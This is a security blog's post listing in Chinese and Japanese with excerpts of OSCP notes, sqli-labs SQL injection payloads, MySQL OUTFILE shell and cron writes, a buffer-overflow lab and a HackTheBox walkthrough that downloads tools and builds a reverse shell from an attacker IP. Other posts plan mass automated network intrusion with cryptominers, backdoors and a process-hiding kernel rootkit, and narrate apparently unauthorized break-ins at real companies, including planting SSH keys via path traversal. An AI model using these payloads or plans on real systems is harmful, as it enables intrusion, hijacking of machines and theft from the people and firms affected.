博文

目前显示的是标签为“安全研究”的博文

OSCP攻略

图片
今天 2021年6月19号,中午12点,正式报名了OSCP课程。准备这么久,还是2个月的实验室,过不了真的可以去死了。由于lab的开始时间是7月25号,所以还有1个月时间我可以好好练习下 Hackthebox 的机器。 收到了自己的学生ID:  OS-XXXXXX 今天是6月20号。 需要提供公司邮件地址,不能够使用任何免费邮件。 —————————————持续更新——————————————— 今天是7月4号,漫长的等待中,看了拿下靶机的数和考试成功率的对比,85%的几率通过OSCP,要拿下70多台靶机。 100%的话也就是90台主机,二个月压力很大。 今天干了3台靶机,轻微看了通关教程。 学了个 knockd DC-9 bravery-improved bravery-mercy 上班时候持续研究pwn技术, 偷个懒好了,pwn水平真的是太水了。 —————————————持续更新——————————————— 今天是8月25号,刚刚过了一个月,lab里面的机器拿下了44台。最近一周基本没研究了,越来越来。公共网络的基本全拿下了,现在集中于It Dept(IT部门)的机器,很不幸,只拿下了2台,这一个月我打算好好按照PDF上的教程做试验了,顺便写5份报告,5分不拿白不拿。 公共机器里面的很简单,基本算是练习。 IT部门的机器比较难,我觉得对应 HTB里面的medium机器。其它的话,还没解锁。 今天暂时把考试时间订到了9月23号。希望一切顺利,集中于 BOF(buff over flow)的练习,这个是我的弱项,没办法。 —————————————持续更新——————————————— 今天是9月23号,还有10分钟就考试了,竟然有点紧张,久违了。也许就是不通过大不了重来而已,或许其他人会这么想。在我看来不是。这2个月一共拿下54台机器,后面一个月其实没怎么做lab了,专心做 exploit了。把那 vulnapp1.exe, vulnapp2.exe,vulnapp3.exe独自至少做了3边。写了13台机器的lab报告,这5分应该是可以到手了。 —————————————持续更新——————————————— 考了2天,终于结束了,从23号中午12点到24号中午12点。全程摄像头开启,屏幕共享。去个厕所,离开座位都要打个招呼。考试中会给你5台机器让你黑...

手动编译metasploit5.0.87

 需要安装的依赖 apt-get install build-essential patch ruby-dev zlib1g-dev liblzma-dev postgresql libpq-dev libpcap-dev libsqlite3-dev   gem install bundler:1.17.3

关于 liunx 内核编译

最近要写一个远控,需要修改内核源码,达到100%完美隐藏进程的能力。 系统版本 Centos6.5 x86_64 内核版本 2.6.32-431.el6.x86_64 参考文档 <-很重要 1、所有操作都不是以root用户进行的。 2、

关于大范围,大面积内网自动化入侵心得。

比如一个A类网络地址就有 16777214 多台主机,单个主机进行大范围,大规模、全端口化扫描是很不现实的。最明显的方式就是进行远程系统协同式程式化工作,把入侵手法剥离出来,虽然无法100%细化。 简单罗列下程式需要实现的功能点: 1、检测各个服务的弱密码      1.1  Smb      1.2  Mysql      1.3  SQL server      1.4  SSH      1.5  Telnet      1.6  Ftp 2、被入侵主机当前子网的0.0.0.0/24 细致化扫描     2.1 当前网卡绑定的所有内网IP地址      (需要远程控制已扫描网段,协同内网扫描工作) 3、上传功能    3.1 扫描结果上传    3.2 弱密码结果文件上传 4、放置挖矿脚本 5、留下后门      5.1 内核后门      5.2 SSH免密码后门      5.3 命令替换      5.4 定时检测更新远程脚本 6、视情况加入      6.1 远程溢出脚本      6.2 webshell的提权

Sql Inject 拦截器过滤

 拦截器过滤在 SQL 注入中是很常用的一个功能。 1、and 使用 && 代替         所代表的意义是一样的 2、or 使用 || 代替         所代表的意义是一样的 3、urlcode 转码         例如[']转成%27,普遍用在代码检测不彻底的情况下。 4、SQL技巧         绕过空格,使用select(1),(2),(3)类似的形式 5、相关函数     5.1 extractValue                 报错注入的另一种形式,与双查询类似。  5.2 %a0编码                 对于空格的限制,采用编码。     5.3 %bf编码                 宽字节绕过。 6、双重参数         双重参数是指,同时提交两个参数名一样的参数,服务端仅验证了第一个。底层代码却处理了2个参数,达到绕过程序检测的目的。 例如 payload:http://192.168.230.129/trainer/Less-27/?id=911%27UnION%a0SElect(3),(SELect%a0group_concat(password)from%a0users),(5)and%a0%271 payload:http://192.168.230.129/trainer/Less-32/index.php?id=%bf%27%20union%20select%201,version(),user()%20--+

Sql Inject 协议头注入

图片
基于 User-Agent 注入 这是一个非常经典的 HTTP 协议注入,非常 NB。故此,我细化地写了下来。 payload:1',(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b),'3'); # 总结: 明显是后台 php 程序取 User-Agent 头信息地时候没有加入过滤,直接insert 就插入了。 这种类型地注入,就是明显的双查询注入,故意的引起报错造成信息泄露。 目前似乎没有开源工具针对 Http 协议头做参数检测。 基于 Cookies 注入 cookie 在程序处理 sessions 中非常、非常之常见。部分程序里的 cookie 是被 base64 或者其它编码程序编码过的,但是也有解码的方法,这是后话了。

Sql Inject 基于outfile

基于导出,导入文件的注入。目前来说,一般是不能利用的的,它需要在服务器上开启【secure_file_priv】参数 在mysql.init 里设置【secure_file_priv =】后,重启mysql即可使用,默认是关闭或有限访问路径。 查看参数:SHOW VARIABLES LIKE "secure_file_priv"; 利用思路: 普通导出文件:select * from users into OUTFILE  'c:\\1.txt'; 写入私钥:select 'ssh private text' INTO OUTFILE '/root/.ssh/authorized'; 写入定时任务:select 'cron time misstion' INTO OUTFILE '/etc/cron.d/revershell'; 写入shell:select 'php shell' INTO OUTFILE '/var/www/html/revershell.php'; 加载文件 select HEX(LOAD_FILE('c:\\1.txt')) select HEX(LOAD_FILE('/etc/passwd')) select HEX(LOAD_FILE('/etc/issue'))

Sql Inject Less 9 盲注基于休眠时间

因为基于休眠时间受限于网络带宽,时间,延迟等因素。所以返回的数据相当地不准确,需要根据返回地数据进行英文单词参照,慢,延迟高,还不准确。 如果发现了这类型地漏洞,那简直是噩梦。 注入地址,例:http://192.168.230.130/trainer/Less-9/?id=2' and sleep(10) --+ 查询数据库payload为:'and if(SUBSTR(DATABASE(),1,1)='s', sleep(5), null) --+ 查询表的payload为:' and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) --+ 查询表字段的payload为:' and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name='emails' limit 0,1),1,1)='i', sleep(5), null) --+ 查询表数据的payload为:' and if(SUBSTR((select id from security.emails limit 0,1),1,1)='1', sleep(5), null) --+ 测试SQL: select SYSDATE() from dual where 1=1 and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) select SYSDATE() from dual where 1=1 and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name=...

Sql Inject Less 8 盲注基于布尔型

图片
实验 基于布尔类型注入其实就是根据布尔值来判断获取的ascill码的数值来进行注入的方式。 注入点,例:http://192.168.230.130/trainer/Less-8/?id=1' AND 1 --+ 0是false 1为true 举例,目前使用的数据库为:security select ASCII(substr(DATABASE(),8,8)) s 115 e 101 c 99 u 117 r 114 i 105 t 116 y 121 测试: 当我取第一个ascii码值,判断他大于114时,此时为false,判断true和false的依据为【You are in...】是否显示。 数据库第一个字符判断是否大于116,是false。 大于114 小于116 ,明显就是115了,也就是Security里的S字符。 这种明显效率低下。远远不如使用 group_concat 函数来的直接,非快速获取大量信息的方式。 POST注入,基于布尔值 POST注入其实和GET是一样的,都是基于布尔值来判断具体的ascii码值 payload:1") or substr(DATABASE(),1,1) ='s' #

Sql Inject Less 5-7 - 双查询注入

图片
实验 注入地址: http://192.168.230.130/trainer/Less-5/?id=1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 这种类型的注入问了很多人,最后得到了【双查询注入】。我一直以为是 【double 查询注入】,果然一定要严谨,严谨,再严谨。 只有这样才能建立良好的思维导图。 payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 出现的结果会是下图地两种情况,随机刷新出结果来: 查询表字段信息: payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select column_name from information_schema.columns where TABLE_NAME='emails' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 查询数据信息:(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 3,1),0x3a,0x3a, floor(rand...

Sql Inject Less 1-4 注入基础

图片
搭建环境 项目地址:https://github.com/Audi-1/sqli-labs 软件版本: php5.2.17nts mysql5.7.26 apache2.4.39 需要确保 php.ini 的三个参数处于关闭状态. 由于提交到后台的参数php程序自动会转义,例如单引号,这个在之后的版本已经被移除。由写程序的人自己来负责。 magic_quotes_gpc = Off magic_quotes_runtime = Off magic_quotes_sybase = Off 开始调试 Less-1 http://192.168.230.130/trainer/Less-1/?id=1' --+ 统计出表列 payload,表一共有3列:1' order by 4 --+  注意:order by 后的数字是表的列,第一列,第二列. 然后自定义payload执行我们自己的sql语句。 payload:1' select 1,2,3 --+ 注意:1是id列,在页面上没输出,使用这个字段是看不到结果的。 2和3这里、就可以写我们自己的sql语句了。 例如可以构造成:1' select 1, version(), 5 --+ 在mysql中的查询也会变成如下的列: Mysql数据库的元字段等信息因为都保存在 information_schema数据库里 ,所以可以构造payload查询这个数据库里的表:tables payload: -1' union select 1,TABLE_NAME, TABLE_ROWS from information_schema.tables where table_schema='security' limit 0,1 --+ 注意控制 limit 来筛选数据。 payload: -1' union select 1,group_concat(TABLE_NAME), group_concat(TABLE_ROWS) from information_schema.tables where table_schema='security' --+ 因为加入了group_concat函数全部输出了,所以不用调整limit 这样就可以查询出来这个数据库...

Metasploit ポート転送

目標ネットに内部ネットにマッピングさせることができます・

名無しインターネット会社に攻撃

图片
 最近、名無し会社のインターネット構成を研究していますが、プライバシー保護のため、会社情報を公開しませんです。実はこれが昨日の夢です、草。 まず、ソフトウェア開発会社なので、色々なシステムが取引先に使わています、ビッグデータのシステムとか、業界システムとか、先進な技術を使用されています、RedisやRabbitMQなど、色々なセキュリティー問題も持ってきていました。 まず、その会社の名前が知っているだけ、名前をグーグルして、ホームページが見つけました、しかし、価値のある情報がない。「nmap」して、1から65535まで、スキャンしました、同じ結果が出てきました。 困っている時に、外部IPアドレスは1から255までスキャンしました、3日もかかりました、やっとビッグデータのテスト用システムが発見しました、幸いのことにパスワードが「123」です、弱すぎるなー、ログインして、多く情報が発見しました。 システム構成 1、開発言語はJava 2、データベースはMysql 3、CDHクラスターと連携している システムに配置されたユーザーが多いですが、パスワード暗号テキストを取得しました、オープンソースの暗号アルゴリズムじゃくて、乱暴に計算できません。 また一週間を過ごしました、 もう3日ぐらい過ごしました、システムのプロセスが一つずつ研究します、システムプロセスを除いておいて、Javaのプロセスは色々なJarファイルが依存している、ほんとに大変です。 やっとROOT権限を取得しました、もう一回自分のパワーが証明しました。 また二週間ほど研究しました、内部ネットのサーバーが多すぎるので、スキャンのミッションが100時間以上を過ごした、まだ終わってない、この際に、多くのサーバーROOT権限をもらいました。 内部ネットに入りましたが、目標を達成しました、もう一回目標を失われてしまった、困っている際に、IT技術会社に対して、一番大切なことはなにという問題を浮かびました。 もちろん、ソースです!次は会社の管理者にとって、OAサーバーとメールサーバーです。 OK、目標が明確しました、SVNサーバーまたGITサーバー。 SVNサーバーのポートは3690です、GITポートは9418です、一日経過して、みつけた。 1、まず弱くパスワードをチェック、しかし、ダメです。 2、SVNサーバーの分...

ポート転送とトンネリング

图片
RINETDポート転送 インストールする kali@kali:~$ sudo apt update && sudo apt install rinetd 配置する 検査する http://10.10.10.5を開くと、HTTP 状態は「301」を示しました。HTTPプロトコルなので、グーグルウェブを開きました。 ほかのプロトコルもサポートでまる、Mysql など。 SSHトンネリング ローカルポート転送 目標サーバーにHTTPサービスをオーペンしていますが、ポートの制限ある場合。リスニングのポートが80です、ネットハードウェアのアドレスが 「127.0.0.1」 目標サーバー は下記の図、一般的な手段で、ほかのクライアントから開くことができません。 クライアント このように、ローカルに81ポートがリモートの80をマッピングしました。 もちろん、「127.0.0.1」はほかの内部IPアドレスの代わりに、外部ネットが疎通できます、内部ネットは攻撃されるリスクがある リモートポート転送 IPアドレス サーバー名 リスニングポート 10.10.10.2/192.168.56.1 Windows なし 192.168.56.1 Centos 80 10.10.10.2 Kali 9999 上記のテーブルを見ると、CentosとKaliは相互に通信できない、PINGも通れない。CentosのNginxサービスはKaliから開けない。 ssh -N -R 9999:192.168.56.101:80 user@10.10.10...

バッファオーバーフローテスト ー 1

图片
これが一番簡単なプログラムですが、コーディングが全然しない人に対する、理解が難しいです。 何の意味か、例えば、パソコンメモリーのサイズが4GB、超える場合はシステムがNGになる、なので、エラーが起こる。 一般的なエラーだったら、再起動すればいいです。もし、バッファオーバーフローのバッグは悪い人に利用されたら、危うくになる。 関連知識: プログラム知識 メモリー分配 GDBディバッグコマンド まず、下記のようなプログラムを用意します #include <stdio.h> void win() { system("/bin/sh"); } void main() { char buf[20]; gets(buf); } これから、利用のことを説明します。 上記のプログラムをコンパイルします。      gcc -fno-stack-protector -zexecstack -fno-stack-protector -no-pie -z norelro main.c -o main チェックして、メモリー保護を閉じました。 gdbでディバッグする gets は入力のメソッドです。入力の際は私たちが多くのデータを入力してみましょう。 僕が「AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL」を入力しました。 エラーが起こりました。これは重点なことではない、注意してください。 重点なことは、データは短くになりました。無くなったデータはメモリーに振り分けました。 オフセットを計算します。 オフセットは40です。 winのメソッドメモリーアドレスは 0x401132です。 ...

サブドメインを集める

HackTheBox - Buff

图片
nmapでスキャンしました、ポートは8080だけ、オープンしています ブラウザで8080ポートを開いて、ウェブサービスを実行しています 「Made Using Gym Management software 1.0」見ると、オープンソースシステムかもしれません。 searchsploitコマンドで調べて、やはり利用できます。 buff\shaun ユーザーを取得しました 関連ファイルをアップロードする powershell -command "& { iwr http://10.10.14.231:8000/plink.exe -OutFile C:\xampp\htdocs\gym\upload\plink.exe }" powershell -command "& { iwr http://10.10.14.231:8000/nc.exe -OutFile C:\xampp\htdocs\gym\upload\nc.exe }" ペイロードを生成して、プログラムを修正します 生成コマンド:  msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.231 LPORT=8644 -f c ポートをマッピングする この時、もうリモートサーバの8888ポートはローカルにマッピングされました。 ペイロードプログラムを実行する、 python 2.py リモートからadmin権限を取得しました

某软件公司代码审计的案例

图片
前言 自从拿下某公司 SVN 服务器,数据库服务器好久了,【数据库】【部署应用】是分开部署的。奈何,数据库服务器并不能帮助提权。 不过相信有了代码,加上修改数据库的数据辅助,很大几率能拿下应用服务器。 分析项目环境 项目部署在【阿里云】,阿里云服务器具有阿里云盾,被它坑的不轻。 系统环境 Linux 使用语言 Java 应用环境 Spring-boot + Maven +Mysql+Redis 项目所有上传文件都是放在阿里云,七牛和腾讯云的OSS上。 项目分为前台用户和后台用户之分,由于某些原因,后台用户服务我并不能跑起来。 分析代码包层次结构 可以看到Controller是提供给外部的接口,我似乎就真的以为ueditor.controller可以直接利用 所以,这里Ueditor并不能直接被利用。 直到我找到了这个函数 为了确认这个函数变量100%确实可以自由构造,我又整理了Controll开始函数执行的顺序。     到这里,因为id是Integer对象类型,即使是null也会被加入处理成nullFileName.rar这样的形式。null还是会被加入。  我写了一个这样的程序。 3328 文件夹不存在于tmp路径 3329文件夹存在于tmp路径 执行后,404行报错。filePath2执行成功,绕过路径。 所以: linux jdk 中会检查文件夹是否真实存在。 所以,问题来了,我需要把那条数据id设置上,并且设置的id还要作为文件夹真实存在于系统中,只有这样,我才能绕过字符串中被加入 id 的这个路径 我翻找了linux系统文件夹构成 系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。 /proc/1是绝对存在的。所以我在数据库里把id改为1,构造文件名称 这样程序处理的时候就会变成 ../../../../proc/1/../../../../../root/.ssh/authorized_keys1 因为proc/1文件是真实存在于系统中,能被绕过。 从阿里云OSS下载我的公钥文件后,输出路径就变成了下面的路...

HackTheBox - Travel

HackTheBox - Dyplesher